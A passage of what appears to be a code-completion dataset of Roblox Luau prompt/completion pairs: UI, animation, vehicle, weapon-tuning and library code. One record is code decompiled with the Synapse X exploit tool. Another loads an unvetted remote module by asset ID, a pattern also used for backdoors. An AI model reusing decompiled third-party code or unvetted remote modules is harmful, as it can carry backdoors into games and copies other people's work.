This.Display.ARW1.Down1.Transparency = 0\n\t\t end\n\t elseif Elevator:WaitForChild(\"Velocity\").Value ~= 0 then\n\t\t if Elevator:WaitForChild(\"Direction\").Value == 1 then\n\t\t\t wait(0.5)\n\t\t\t This.Display.ARW1.Up1.Transparency = 0\n\t\t\t This.Display.ARW1.Down1.Transparency = 1\n\t\t\t wait(0.5)\n\t\t\t This.Display.ARW1.Up1.Transparency = 1\n\t\t\t This.Display.ARW1.Down1.Transparency = 1\n\t\t else\n\t\t\t wait(0.5)\n\t\t\t This.Display.ARW1.Down1.Transparency = 0\n\t\t\t This.Display.ARW1.Up1.Transparency = 1\n\t\t\t wait(0.5)\n\t\t\t This.Display.ARW1.Down1.Transparency = 1\n\t\t\t This.Display.ARW1.Up1.Transparency = 1\n\t\t end\n\t\tend\n\telse\n\t\tThis.Display.ARW1.Up1.Transparency = 1\n\t\tThis.Display.ARW1.Down1.Transparency = 1\n\tend\nend\n"} +{"prompt": "--[[\n\tManages batch updating of spring objects.\n]]", "completion": "\n\nlocal RunService = game:GetService(\"RunService\")\n\nlocal Package = script.Parent.Parent\nlocal Types = require(Package.Types)\nlocal packType = require(Package.Animation.packType)\nlocal springCoefficients = require(Package.Animation.springCoefficients)\nlocal updateAll = require(Package.Dependencies.updateAll)\n\ntype Set = {[T]: any}\ntype Spring = Types.Spring\n\nlocal SpringScheduler = {}\n\nlocal EPSILON = 0.0001\nlocal activeSprings: Set = {}\nlocal lastUpdateTime = os.clock()\n\nfunction SpringScheduler.add(spring: Spring)\n\t-- we don't necessarily want to use the most accurate time - here we snap to\n\t-- the last update time so that springs started within the same frame have\n\t-- identical time steps\n\tspring._lastSchedule = lastUpdateTime\n\tspring._startDisplacements = {}\n\tspring._startVelocities = {}\n\tfor index, goal in ipairs(spring._springGoals) do\n\t\tspring._startDisplacements[index] = spring._springPositions[index] - goal\n\t\tspring._startVelocities[index] = spring._springVelocities[index]\n\tend\n\n\tactiveSprings[spring] = true\nend\n\nfunction SpringScheduler.remove(spring: Spring)\n\tactiveSprings[spring] = nil\nend\n\n\nlocal function updateAllSprings()\n\tlocal springsToSleep: Set = {}\n\tlastUpdateTime = os.clock()\n\n\tfor spring in pairs(activeSprings) do\n\t\tlocal posPos, posVel, velPos, velVel = springCoefficients(lastUpdateTime - spring._lastSchedule, spring._currentDamping, spring._currentSpeed)\n\n\t\tlocal positions = spring._springPositions\n\t\tlocal velocities = spring._springVelocities\n\t\tlocal startDisplacements = spring._startDisplacements\n\t\tlocal startVelocities = spring._startVelocities\n\t\tlocal isMoving = false\n\n\t\tfor index, goal in ipairs(spring._springGoals) do\n\t\t\tlocal oldDisplacement = startDisplacements[index]\n\t\t\tlocal oldVelocity = startVelocities[index]\n\t\t\tlocal newDisplacement = oldDisplacement * posPos + oldVelocity * posVel\n\t\t\tlocal newVelocity = oldDisplacement * velPos + oldVelocity * velVel\n\n\t\t\tif math.abs(newDisplacement) > EPSILON or math.abs(newVelocity) > EPSILON then\n\t\t\t\tisMoving = true\n\t\t\tend\n\n\t\t\tpositions[index] = newDisplacement + goal\n\t\t\tvelocities[index] = newVelocity\n\t\tend\n\n\t\tif not isMoving then\n\t\t\tspringsToSleep[spring] = true\n\t\tend\n\tend\n\n\tfor spring in pairs(activeSprings) do\n\t\tspring._currentValue = packType(spring._springPositions, spring._currentType)\n\t\tupdateAll(spring)\n\tend\n\n\tfor spring in pairs(springsToSleep) do\n\t\tactiveSprings[spring] = nil\n\tend\nend\n\nRunService:BindToRenderStep(\n\t\"__FusionSpringScheduler\",\n\tEnum.RenderPriority.First.Value,\n\tupdateAllSprings\n)\n\nreturn SpringScheduler\n"} +{"prompt": "--[[\n\t* Copyright (c) Roblox Corporation. All rights reserved.\n\t* Licensed under the MIT License (the \"License\");\n\t* you may not use this file except in compliance with the License.\n\t* You may obtain a copy of the License at\n\t*\n\t* https://opensource.org/licenses/MIT\n\t*\n\t* Unless required by applicable law or agreed to in writing, software\n\t* distributed under the License is distributed on an \"AS IS\" BASIS,\n\t* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n\t* See the License for the specific language governing permissions and\n\t* limitations under the License.\n]]", "completion": "\nlocal Packages = script.Parent.Parent\nlocal Number = require(Packages.Number)\n"} +{"prompt": "-- re-export flowtypes from here. I wonder if this should be a separate 'package'?", "completion": "\nexport type React_Ref = flowtypes.React_Ref\nexport type React_Context = flowtypes.React_Context\nexport type React_AbstractComponent = flowtypes.React_AbstractComponent\nexport type React_ComponentType = flowtypes.React_ComponentType\nexport type React_PureComponent = flowtypes.React_PureComponent\nexport type React_Component = flowtypes.React_Component\nexport type React_ElementProps = flowtypes.React_ElementProps\nexport type React_StatelessFunctionalComponent = flowtypes.React_StatelessFunctionalComponent\nexport type React_Node = flowtypes.React_Node\nexport type React_Element = flowtypes.React_Element\nexport type React_ElementType = flowtypes.React_ElementType\nexport type React_ElementConfig = flowtypes.React_ElementConfig\nexport type React_ElementRef = flowtypes.React_ElementRef\nexport type React_Portal = flowtypes.React_Portal\nexport type React_Key = flowtypes.React_Key\n\nreturn {\n\tcheckPropTypes = require(script.checkPropTypes),\n\tconsole = require(script.console),\n\tConsolePatchingDev = require(script[\"ConsolePatchingDev.roblox\"]),\n\tconsoleWithStackDev = require(script.consoleWithStackDev),\n\tenqueueTask = require(script[\"enqueueTask.roblox\"]),\n\tExecutionEnvironment = require(script.ExecutionEnvironment),\n\tformatProdErrorMessage = require(script.formatProdErrorMessage),\n\tgetComponentName = require(script.getComponentName),\n\tinvariant = require(script.invariant),\n\tinvokeGuardedCallbackImpl = require(script.invokeGuardedCallbackImpl),\n\tisValidElementType = require(script.isValidElementType),\n\tobjectIs = require(script.objectIs),\n\tReactComponentStackFrame = require(script.ReactComponentStackFrame),\n\tReactElementType = require(script.ReactElementType),\n\tReactErrorUtils = require(script.ReactErrorUtils),\n\tReactFeatureFlags = require(script.ReactFeatureFlags),\n\tReactInstanceMap = require(script.ReactInstanceMap),\n\t-- deviation: Instead of re-exporting from here, Shared actually owns\n\t-- these files itself\n\tReactSharedInternals = ReactSharedInternals,\n\t-- deviation: Instead of extracting these out of the reconciler and\n\t-- then re-injecting the host config _into_ the reconciler, export these\n\t-- from shared for easier reuse\n\tReactFiberHostConfig = ReactFiberHostConfig,\n\n\tReactSymbols = require(script.ReactSymbols),\n\tReactVersion = require(script.ReactVersion),\n\tshallowEqual = require(script.shallowEqual),\n\tUninitializedState = require(script[\"UninitializedState.roblox\"]),\n\tReactTypes = ReactTypes,\n\n\t-- deviation: export error-stack-preserving utilities for use in\n\t-- scheduler and reconciler, and parsing function for use in public API\n\tdescribeError = ErrorHandling.describeError,\n\terrorToString = ErrorHandling.errorToString,\n\tparseReactError = ErrorHandling.parseReactError,\n\n\t-- deviation: export Symbol and Type from Shared\n\tSymbol = require(script[\"Symbol.roblox\"]),\n\tType = require(script[\"Type.roblox\"]),\n\n\t-- deviation: export propmarkers from Shared\n\tChange = require(script.PropMarkers.Change),\n\tEvent = require(script.PropMarkers.Event),\n\tTag = require(script.PropMarkers.Tag),\n}\n"} +{"prompt": "-- NUM_RESERVED is not required; number of reserved words", "completion": "\n"} +{"prompt": "--// SERVICES //--", "completion": "\n\nlocal CoreGuiService = game:GetService('CoreGui')\nlocal PlayersService = game:GetService('Players')\nlocal GuiService = game:GetService('GuiService')\nlocal UserInputService = game:GetService('UserInputService')\nlocal StarterGui = game:GetService('StarterGui')\nlocal STS_Settings = script.Parent:WaitForChild('STS_Settings')\nlocal StaminaButton = script.Parent:WaitForChild('Mobile')\nlocal Border = StaminaButton:WaitForChild('Border')\nlocal Bar = script.Parent:WaitForChild('Frame_Bar')\nlocal SprintGui = script.Parent\nlocal UIS = game:GetService(\"UserInputService\")\nlocal TS = game:GetService(\"TweenService\")\nlocal plr = game.Players.LocalPlayer\nlocal player = game.Players.LocalPlayer\n\nlocal Character = game.Players.LocalPlayer.Character\nif Character == nil then\n\trepeat\n\t\twait()\n\tuntil (Character ~= nil)\n\tprint('FoundCharacter')\nend\nlocal Debounce = false\nlocal Stamina = Character:WaitForChild('Stamina')\nlocal Sprinting = false\nlocal StaminaReductionRate = STS_Settings:WaitForChild('StaminaDeductionAmount').Value -- Amount taken from Stamina per SprintReductionDelay\nlocal StaminaReductionDelay = STS_Settings:WaitForChild('StaminaDeductionDelay').Value -- Time in Seconds for SprintReductionRate to be removed from stamina\nlocal OriginalWalkSpeed = Character.Humanoid.WalkSpeed -- Get Original WalkSpeed\nlocal SprintSpeed = STS_Settings:WaitForChild('SprintSpeed').Value\nlocal RegenerateDelay = STS_Settings:WaitForChild('StaminaRegenerationDelay').Value\nlocal RegenerateValue = STS_Settings:WaitForChild('StaminaRegenerationAmount').Value\n"} +{"prompt": "--// Handling Settings\t\t", "completion": "\n\tFirerate = 60 / 700; -- 60 = 1 Minute, 700 = Rounds per that 60 seconds. DO NOT TOUCH THE 60!\n\t\n\tFireMode = 2; -- 1 = Semi, 2 = Auto, 3 = Burst, 4 = Bolt Action, 5 = Shot, 6 = Explosive\n\t"} +{"prompt": "--[[\n\tStores common public-facing type information for Fusion APIs.\n]]", "completion": "\n\ntype Set = {[T]: any}\n"} +{"prompt": "--[=[\n\tYields the thread until a `:Fire` call occurs, returns what the signal was fired with.\n\n\t```lua\n\ttask.spawn(function()\n\t\tprint(\n\t\t\tScriptSignal:Wait()\n\t\t)\n\tend)\n\n\tScriptSignal:Fire(\"Arg\", nil, 1, 2, 3, nil)\n\t-- \"Arg\", nil, 1, 2, 3, nil are printed\n\t```\n\n\t@yields\n\t@return ...any\n\t@ignore\n]=]", "completion": "\nfunction ScriptSignal:Wait(): (...any)\n local thread\n do\n thread = coroutine.running()\n\n local connection\n connection = self:Connect(function(...)\n connection:Disconnect()\n task.spawn(thread, ...)\n end)\n end\n\n return coroutine.yield()\nend\n"} +{"prompt": "--\t\tfor i, v in pairs({FrontLeftHip, FrontRightHip, BackLeftHip, BackRightHip}) do\n--\t\t\tv.MaxVelocity = 0.5\n--\t\tend", "completion": "\n\t\tLimbAmplitude = 0.2\n\t\tLimbFrequency = 7\n\t\tClimbFudge = math.pi\n\telse\n\t\tLimbAmplitude = 0.05\n\t\tLimbFrequency = 2\n\tend\n\t\n\tif not Flying.Value then\n\t\tLeftWing.DesiredAngle = 0\n\t\tRightWing.DesiredAngle = 0\n\t\tlocal LimbDesiredAngle = (LimbAmplitude * math.sin(Time * LimbFrequency))\t"} +{"prompt": "-----------------\n--| Variables |--\n-----------------", "completion": "\n\nlocal DebrisService = game:GetService('Debris')\nlocal PlayersService = game:GetService('Players')\n\nlocal MyPlayer\n\nlocal Tool = script.Parent\nlocal ToolHandle = Tool:WaitForChild(\"Handle\")\n\nlocal MouseLoc = Tool:WaitForChild(\"MouseLoc\",10)\n\nlocal RocketScript = script:WaitForChild('Rocket')\nlocal SwooshSound = script:WaitForChild('Swoosh')\nlocal BoomSound = script:WaitForChild('Boom')\n"} +{"prompt": "-- Find the device's rotation via gyroscope and apply to the segway", "completion": "\n\tUserInputService.DeviceRotationChanged:connect(function(rotation, rotCFrame)\n\tlocal x,y = rotCFrame:toEulerAnglesXYZ()\n\tlocal Sensitivity = 1.9\n\t\n\t\t-- Direction\n\t\tif -x*Sensitivity > -1 and -x*Sensitivity < 1 then -- Makes sure the device isn't tilted too much\n\t\t\tDirection = -x*Sensitivity+0.4\n\t\telseif -x*Sensitivity > 0 then -- Otherwise we'll go to the max speed\n\t\t\tDirection = 1\n\t\telseif -x*Sensitivity < 0 then -- Otherwise we'll go to the max speed\n\t\t\tDirection = -1\n\t\tend\n\t\t\t\n\t\t\t-- Steering\n\t\t\tif -y*Sensitivity > -1 and -y*Sensitivity < 1 then -- Makes sure the device isn't tilted too much\n\t\t\t\tSteer = -y*Sensitivity\n\t\t\telseif -y*Sensitivity > 0 then -- Otherwise we'll go to the max speed\n\t\t\t\tSteer = 1\n\t\t\telseif -y*Sensitivity < 0 then -- Otherwise we'll go to the max speed\n\t\t\t\tSteer = -1\n\t\t\tend\n\tend)\nend\n\nUserInputService.InputBegan:connect(function(Key,ProcessedEvent)\n\tif WeldObject.Value ~= nil and not ProcessedEvent then\n\t\t\n\t\t-- Hop off segway if press Spacebar, Backspace or controller A button\n\t\tif Key.KeyCode == Enum.KeyCode.Space or Key.KeyCode == Enum.KeyCode.Backspace or Key.KeyCode == Enum.KeyCode.ButtonA then\t\n\t\t\tHopoff()\n\t\tend\n\t\t\n\t\t--Forward\n\t\tif Key.KeyCode == Enum.KeyCode.W or Key.KeyCode == Enum.KeyCode.Up or Key.KeyCode == Enum.KeyCode.ButtonR2 then\n\t\t\tif Direction ~= 1 then\n\t\t\tDirection = 1\n\t\t\tend\n\t\tend\n\t\t\n\t\t--Backward\n\t\tif Key.KeyCode == Enum.KeyCode.S or Key.KeyCode == Enum.KeyCode.Down or Key.KeyCode == Enum.KeyCode.ButtonL2 then\n\t\t\tif Direction ~= -1 then\n\t\t\tDirection = -1\n\t\t\tend\n\t\tend\n\t\t\n\t\t--Left\n\t\tif Key.KeyCode == Enum.KeyCode.D or Key.KeyCode == Enum.KeyCode.Right then\n\t\t\tif Steer ~= 1 then\n\t\t\tSteer = 1\n\t\t\tend\n\t\tend\n\t\t\n\t\t--Right\n\t\tif Key.KeyCode == Enum.KeyCode.A or Key.KeyCode == Enum.KeyCode.Left then\n\t\t\tif Steer ~= -1 then\n\t\t\tSteer = -1\n\t\t\tend\n\t\tend\n\tend\nend)\n"} +{"prompt": "--//Server Animations", "completion": "\n\tRightHighReady = CFrame.new(-1, -1, -1.5) * CFrame.Angles(math.rad(-160), math.rad(0), math.rad(0));\n\tLeftHighReady = CFrame.new(.85,-0.35,-1.15) * CFrame.Angles(math.rad(-170),math.rad(60),math.rad(15));\n\n\tRightLowReady = CFrame.new(-1, 0.5, -1.25) * CFrame.Angles(math.rad(-60), math.rad(0), math.rad(0));\n\tLeftLowReady = CFrame.new(1.25,1.15,-1.35) * CFrame.Angles(math.rad(-60),math.rad(35),math.rad(-25));\n\n\tRightPatrol = CFrame.new(-1, -.35, -1.5) * CFrame.Angles(math.rad(-80), math.rad(-80), math.rad(0));\n\tLeftPatrol = CFrame.new(1,1.25,-.75) * CFrame.Angles(math.rad(-90),math.rad(-45),math.rad(-25));\n\n\tRightAim = CFrame.new(-.575, 0.1, -1) * CFrame.Angles(math.rad(-90), math.rad(0), math.rad(0));\n\tLeftAim = CFrame.new(1.4,0.25,-1.45) * CFrame.Angles(math.rad(-120),math.rad(35),math.rad(-25));\n\t\n\tRightSprint = CFrame.new(-1, 0.5, -1.25) * CFrame.Angles(math.rad(-60), math.rad(0), math.rad(0));\n\tLeftSprint = CFrame.new(1.25,1.15,-1.35) * CFrame.Angles(math.rad(-60),math.rad(35),math.rad(-25));\n\n\tShootPos = CFrame.new(0,0,.25);\n\t\n}\n\nreturn module\n"} +{"prompt": "---[[ Chat Behaviour Settings ]]", "completion": "\nmodule.WindowDraggable = false\nmodule.WindowResizable = false\nmodule.ShowChannelsBar = false\nmodule.GamepadNavigationEnabled = false\nmodule.AllowMeCommand = false -- Me Command will only be effective when this set to true\nmodule.ShowUserOwnFilteredMessage = true\t--Show a user the filtered version of their message rather than the original."} +{"prompt": "-- Folders", "completion": "\nlocal Assets = ReplicatedStorage:WaitForChild(\"Assets\")\nlocal Remotes = ReplicatedStorage:WaitForChild(\"Remotes\")\nlocal Shared = ReplicatedStorage:WaitForChild(\"Shared\")\n"} +{"prompt": "-- Decompiled with the Synapse X Luau decompiler.", "completion": "\n\nwhile true do\n\twait();\n\tif game:IsLoaded() and game:GetService(\"Players\").LocalPlayer.Character then\n\t\tbreak;\n\tend;\nend;\ngame.StarterGui:SetCoreGuiEnabled(Enum.CoreGuiType.Backpack, false);\nlocal l__LocalPlayer__1 = game:GetService(\"Players\").LocalPlayer;\nlocal l__Character__2 = l__LocalPlayer__1.Character;\nlocal u1 = {\n\tZero = 0,\n\tOne = 1, \n\tTwo = 2, \n\tThree = 3, \n\tFour = 4, \n\tFive = 5, \n\tSix = 6, \n\tSeven = 7, \n\tEight = 8, \n\tNine = 9\n};\nfunction ConvertKey(p1)\n\tlocal v3, v4, v5 = pairs(u1);\n\twhile true do\n\t\twait();\n\t\tlocal v6, v7 = v3(v4, v5);\n\t\tif v6 then\n\n\t\telse\n\t\t\tbreak;\n\t\tend;\n\t\tv5 = v6;\n\t\tif p1.KeyCode == Enum.KeyCode[v6] then\n\t\t\treturn v7;\n\t\tend;\t\n\tend;\n\tif false == false then\n\n\telse\n\t\treturn;\n\tend;\n\treturn false;\nend;\nlocal u2 = nil;\nlocal hum = l__Character__2:WaitForChild(\"Humanoid\");\nfunction Equip(p2, p3)\n\tif p3 == true then\n\n\telse\n\t\tu2 = p2;\n\t\thum:EquipTool(p2);\n\t\tscript.Equip:Play();\n\t\treturn;\n\tend;\n\thum:UnequipTools();\n\tscript.Equip:Play();\nend;\nlocal u4 = {};\nfunction AddTemplate(p4)\n\tlocal v8 = 0;\n\tlocal v9, v10, v11 = pairs(script.Parent.Parent.Parent.MainFrame.Hotbar:GetChildren());\n\twhile true do\n\t\twait();\n\t\tlocal v12, v13 = v9(v10, v11);\n\t\tif v12 then\n\n\t\telse\n\t\t\tbreak;\n\t\tend;\n\t\tv11 = v12;\n\t\tif v13:IsA(\"TextButton\") then\n\t\t\tv13:Destroy();\n\t\tend;\t\n\tend;\n\tu4 = {};\n\tlocal v14, v15, v16 = pairs(l__LocalPlayer__1.Backpack:GetChildren());\n\twhile true do\n\t\twait();\n\t\tlocal v17, v18 = v14(v15, v16);\n\t\tif v17 then\n\n\t\telse\n\t\t\tbreak;\n\t\tend;\n\t\tv16 = v17;\n\t\tu2 = v18\n\t\ttable.insert(u4, v18);\n\t\tlocal v19 = script.Template:Clone();\n\t\tv19.Name = v18.Name;\n\t\tv19.Parent = script.Parent.Parent.Parent.MainFrame.Hotbar;\n\t\tv19.Number_slot.Text = v17;\n\t\tv8 = v17;\n\t\tif v18.TextureId ~= \"\" then\n\t\t\tv19.Tool_Data.Text = \"\";\n\t\t\tv19.Texture_tool.Image = v18.TextureId;\n\t\telse\n\t\t\tv19.Tool_Data.Text = v18.Name;\n\t\tend;\n\t\tv19.Visible = true;\n\t\tv19.Tool_Obj.Value = v18;\t\n\tend;\n\tif p4 then\n\t\ttable.insert(u4, p4);\n\t\tlocal v20 = script.Template:Clone();\n\t\tv20.Name = p4.Name;\n\t\tv20.Parent = script.Parent.Parent.Parent.MainFrame.Hotbar;\n\t\tv20.Number_slot.Text = v8 + 1;\n\t\tif p4.TextureId ~= \"\" then\n\t\t\tv20.Tool_Data.Text = \"\";\n\t\t\tv20.Texture_tool.Image = p4.TextureId;\n\t\telse\n\t\t\tv20.Tool_Data.Text = p4.Name;\n\t\tend;\n\t\tv20.Visible = true;\n\t\tv20.Tool_Obj.Value = p4;\n\t\tv20.IsEquip.Value = true;\n\t\tv20.Number_slot.TextColor3 = Color3.fromRGB(0, 170, 255);\n\tend;\n\tlocal v21, v22, v23 = pairs(script.Parent.Parent.Parent.MainFrame.Hotbar:GetChildren());\n\twhile true do\n\t\twait();\n\t\tlocal v24, v25 = v21(v22, v23);\t\n\t\tif v24 then\n\n\t\telse\n\t\t\tbreak;\n\t\tend;\n\t\tv23 = v24;\n\t\tif v25:IsA(\"TextButton\") then\n\t\t\tv25.MouseButton1Down:Connect(function()\n\t\t\t\tif u2 ~= v25.Tool_Obj.Value then\n\t\t\t\t\tlocal v26, v27, v28 = pairs(script.Parent.Parent.Parent.MainFrame.Hotbar:GetChildren());\n\t\t\t\t\twhile true do\n\t\t\t\t\t\twait();\n\t\t\t\t\t\tlocal v29, v30 = v26(v27, v28);\n\t\t\t\t\t\tif v29 then\n\n\t\t\t\t\t\telse\n\t\t\t\t\t\t\tbreak;\n\t\t\t\t\t\tend;\n\t\t\t\t\t\tif v30:IsA(\"BoolValue\") then\n\t\t\t\t\t\t\tif v30.Tool_Obj.Value ~= v25.Tool_Obj.Value then\n\t\t\t\t\t\t\t\tv30.Value = false;\n\t\t\t\t\t\t\tend;\n\t\t\t\t\t\tend;\n\t\t\t\t\t\tif v30:IsA(\"TextLabel\") then\n\t\t\t\t\t\t\tif v30 ~= v25.Number_slot then\n\t\t\t\t\t\t\t\tv30.TextColor3 = Color3.fromRGB(255, 255, 255);\n\t\t\t\t\t\t\tend;\n\t\t\t\t\t\tend;\t\t\t\t\t\n\t\t\t\t\tend;\n\t\t\t\tend;\n\t\t\t\tv25.IsEquip.Value = not v25.IsEquip.Value;\n\t\t\t\tif v25.IsEquip.Value then\n\t\t\t\t\tv25.Number_slot.TextColor3 = Color3.fromRGB(0, 255, 0);\n\t\t\t\telse\n\t\t\t\t\tv25.Number_slot.TextColor3 = Color3.fromRGB(255, 255, 255);\n\t\t\t\tend;\n\t\t\t\tif v25.IsEquip.Value == false then\n\t\t\t\t\tEquip(v25.Tool_Obj.Value);\n\t\t\t\telse\n\t\t\t\t\tEquip(v25.Tool_Obj.Value, false);\n\t\t\t\tend\n\t\t\tend);\n\t\tend;\t\n\tend;\nend;\ngame:GetService(\"UserInputService\").InputBegan:Connect(function(p5, p6)\n\tif not p6 and p5.UserInputType == Enum.UserInputType.Keyboard and ConvertKey(p5) then\n\t\tlocal v31 = ConvertKey(p5);\n\t\tfor v32, v33 in pairs(script.Parent.Parent.Parent.MainFrame.Hotbar:GetDescendants()) do\n\t\t\tif v33:IsA(\"TextLabel\") and v33.Text == tostring(v31) then\n\t\t\t\tif u2 ~= v33.Parent.Tool_Obj.Value then\n\t\t\t\t\tlocal v34, v35, v36 = pairs(script.Parent.Parent.Parent.MainFrame.Hotbar:GetDescendants());\n\t\t\t\t\twhile true do\n\t\t\t\t\t\twait();\n\t\t\t\t\t\tlocal v37, v38 = v34(v35, v36);\n\t\t\t\t\t\tif not v37 then\n\t\t\t\t\t\t\tbreak;\n\t\t\t\t\t\tend;\n\t\t\t\t\t\tif v38:IsA(\"BoolValue\") and v38.Parent.Tool_Obj.Value ~= v33.Parent.Tool_Obj.Value then\n\t\t\t\t\t\t\tv38.Value = false;\n\t\t\t\t\t\tend;\n\t\t\t\t\t\tif v38:IsA(\"TextLabel\") and v38 ~= v33 then\n\t\t\t\t\t\t\tv38.TextColor3 = Color3.fromRGB(255, 255, 255);\n\t\t\t\t\t\tend;\t\t\t\t\t\n\t\t\t\t\tend;\n\t\t\t\tend;\n\t\t\t\tv33.Parent.IsEquip.Value = not v33.Parent.IsEquip.Value;\n\t\t\t\tif v33.Parent.IsEquip.Value then\n\t\t\t\t\tv33.TextColor3 = Color3.fromRGB(0, 255, 0);\n\t\t\t\telse\n\t\t\t\t\tv33.TextColor3 = Color3.fromRGB(255, 255, 255);\n\t\t\t\tend;\n\t\t\t\tEquip(v33.Parent.Tool_Obj.Value, not v33.Parent.IsEquip.Value);\n\t\t\tend;\n\t\tend;\n\tend;\nend);\nl__LocalPlayer__1.Backpack.ChildAdded:Connect(function(p7)\n\tlocal v39 = false;\n\tif p7:IsA(\"Tool\") then\n\t\tfor v40, v41 in pairs(u4) do\n\t\t\tif v41 == p7 then\n\t\t\t\tv39 = true;\n\t\t\t\tbreak;\n\t\t\tend;\n\t\tend;\n\t\tif v39 == false then\n\t\t\tAddTemplate();\n\t\t\tu4 = {};\n\t\tend;\n\tend;\nend);\nl__LocalPlayer__1.Backpack.ChildRemoved:Connect(function(p8)\n\tif p8.Parent ~= l__Character__2 then\n\t\tAddTemplate();\n\tend;\nend);\nl__Character__2.ChildAdded:Connect(function(p9)\n\tlocal v42 = false;\n\tif p9:IsA(\"Tool\") then\n\t\tfor v43, v44 in pairs(u4) do\n\t\t\tif v44 == p9 then\n\t\t\t\tv42 = true;\n\t\t\t\tbreak;\n\t\t\tend;\n\t\tend;\n\t\tif v42 == false then\n\t\t\tAddTemplate(p9);\n\t\tend;\n\tend;\nend);\nl__Character__2.ChildRemoved:Connect(function(p10)\n\tif p10.Parent ~= l__LocalPlayer__1.Backpack then\n\t\tAddTemplate();\n\t\tu2 = nil;\n\tend;\nend);\nAddTemplate();\n"} +{"prompt": "-- This table will make sure that when we stop an animation it is\n-- because it is the only animation of it running", "completion": "\nlocal PlayCountTable = {}\n\n\nlocal function PlayAnimation(animation, valueToCheck, animationLength)\n\tif valueToCheck and valueToCheck.Value then\n\t\tif MyHumanoid then\n\t\t\tanimation:Play()\n\t\t\tif PlayCountTable[animation] then\n\t\t\t\tPlayCountTable[animation] = PlayCountTable[animation] + 1\n\t\t\tend\n\t\t\t-- wait the duration of the animation\t\n\t\t\tif animationLength then\n\t\t\t\twait(animationLength)\n\t\t\t\tif PlayCountTable[animation] then\n\t\t\t\t\tPlayCountTable[animation] = PlayCountTable[animation] - 1\n\t\t\t\t\tif PlayCountTable[animation] == 0 then\n\t\t\t\t\t\tanimation:Stop()\n\t\t\t\t\tend\n\t\t\t\tend\n\t\t\tend\n\t\tend\n\tend\nend\n\nfunction OnEquipped()\n\tMyHumanoid = Tool.Parent:FindFirstChild('Humanoid')\n\tdownStabAnim = MyHumanoid:LoadAnimation(WaitForChild(Tool, 'DownStab'))\n\tPlayCountTable[downStabAnim] = 0\n\tstabPunchAnim = MyHumanoid:LoadAnimation(WaitForChild(Tool, 'StabPunch'))\n\tPlayCountTable[stabPunchAnim] = 0\n\tthrowAnim = MyHumanoid:LoadAnimation(WaitForChild(Tool, 'Throw'))\n\tPlayCountTable[throwAnim] = 0\n\tthrowChargeAnim = MyHumanoid:LoadAnimation(WaitForChild(Tool, 'ThrowCharge'))\n\tPlayCountTable[throwChargeAnim] = 0\n\t\n\n\tlocal playStabPunch = WaitForChild(Tool, 'PlayStabPunch')\n\tlocal playDownStab = WaitForChild(Tool, 'PlayDownStab')\n\tlocal playThrow = WaitForChild(Tool, 'PlayThrow')\n\tlocal playThrowCharge = WaitForChild(Tool, 'PlayThrowCharge')\n\n\tplayStabPunch.Changed:connect(function() PlayAnimation(stabPunchAnim, playStabPunch, 1.0) end)\n\tplayDownStab.Changed:connect(function() PlayAnimation(downStabAnim, playDownStab, 1.0) end)\n\tplayThrow.Changed:connect(function() PlayAnimation(throwAnim, playThrow, 1.5) end)\n\tplayThrowCharge.Changed:connect(function(value)\n\t\tif value then\n\t\t\tPlayAnimation(throwChargeAnim, playThrowCharge, 1.0)\n\t\telse\n\t\t\tthrowChargeAnim:Stop()\n\t\tend\n\tend)\nend\n\nfunction OnUnequipped()\n\tif downStabAnim then\n\t\tdownStabAnim:Stop()\n\t\tdownStabAnim = nil\n\tend\n\tif stabPunchAnim then\n\t\tstabPunchAnim:Stop()\n\t\tstabPunchAnim = nil\n\tend\n\tif throwAnim then\n\t\tthrowAnim:Stop()\n\t\tthrowAnim = nil\n\tend\n\tif throwChargeAnim then\n\t\tthrowChargeAnim:Stop()\n\t\tthrowChargeAnim = nil\n\tend\n\tPlayCountTable = {}\nend\n\nTool.Equipped:connect(OnEquipped)\nTool.Unequipped:connect(OnUnequipped)\n\n"} +{"prompt": "--/ Initialization /--", "completion": "\nrequire(4593408411).start(script,config)\n"} +{"prompt": "---[[ Window Settings ]]", "completion": "\nmodule.MinimumWindowSize = UDim2.new(0.3, 0, 0.25, 0)\nmodule.MaximumWindowSize = UDim2.new(1, 0, 1, 0) -- Should always be less than the full screen size.\nmodule.DefaultWindowPosition = UDim2.new(0, 0, 0, 0)\nlocal extraOffset = (7 * 2) + (5 * 2) -- Extra chatbar vertical offset\nmodule.DefaultWindowSizePhone = UDim2.new(0.5, 0, 0.5, extraOffset)\nmodule.DefaultWindowSizeTablet = UDim2.new(0.4, 0, 0.3, extraOffset)\nmodule.DefaultWindowSizeDesktop = UDim2.new(0.3, 0, 0.25, extraOffset)\n"} +{"prompt": "--[[Misc]]", "completion": "\n\tTune.LoadDelay\t\t= .1\t\t-- Delay before initializing chassis (in seconds)\n\tTune.AutoStart\t\t= false\t\t-- Set to false if using manual ignition plugin\n\tTune.AutoFlip\t\t= true\t\t-- Set to false if using manual flip plugin\n\t"} +{"prompt": "--// Aim|Zoom|Sensitivity Customization", "completion": "\n\tZoomSpeed = 0.23; -- The lower the number the slower and smoother the tween\n\tAimZoom = 50; -- Default zoom\n\tAimSpeed = 0.23;\n\tUnaimSpeed = 0.23;\n\tCycleAimZoom = 30; -- Cycled zoom\n\tMouseSensitivity = 0.5; -- Number between 0.1 and 1\n\tSensitivityIncrement = 0.05; -- No touchy\n\t"} +{"prompt": "-- tick() returns the number of seconds since January 1st, 1970\n-- Because this is a LocalScript, it will return the time based on your timezone", "completion": "\n"} +{"prompt": "-- /\\/[ Change Ball Color ]\\/\\", "completion": "\n\nlocal remote = game:GetService(\"ReplicatedStorage\").Remotes.UpdateColor\n\nremote.OnServerEvent:Connect(function(player,color)\n\tplayer.Character.Color.Color = BrickColor.new(color).Color\n\tplayer.Color3Value.Value = player.Character.Color.BrickColor.Color\nend)\n"} +{"prompt": "-- SirNoobly", "completion": "\n\nlocal hat = script.Parent\nhat.PrimaryPart = hat:WaitForChild(\"Head\") -- Make sure the Head is the same size as a normal Head.\n\nfunction weldParts(part0, part1) -- welds the 2 parts based on their position\n\tlocal newWeld = Instance.new(\"Weld\")\n\tnewWeld.Part0 = part0\n\tnewWeld.Part1 = part1\n\tnewWeld.C0 = CFrame.new()\n\tnewWeld.C1 = part1.CFrame:toObjectSpace(part0.CFrame)\n\tnewWeld.Parent = part0\nend\n\nhat.Head.Touched:connect(function(hit)\n\tif hit.Parent:FindFirstChild(\"Humanoid\") and not hit.Parent:FindFirstChild(\"Earl's Coronet\")then else return end\n\tfor _, v in pairs (hit.Parent:GetChildren()) do -- removes all hats\n\t\tif v:IsA(\"Hat\") 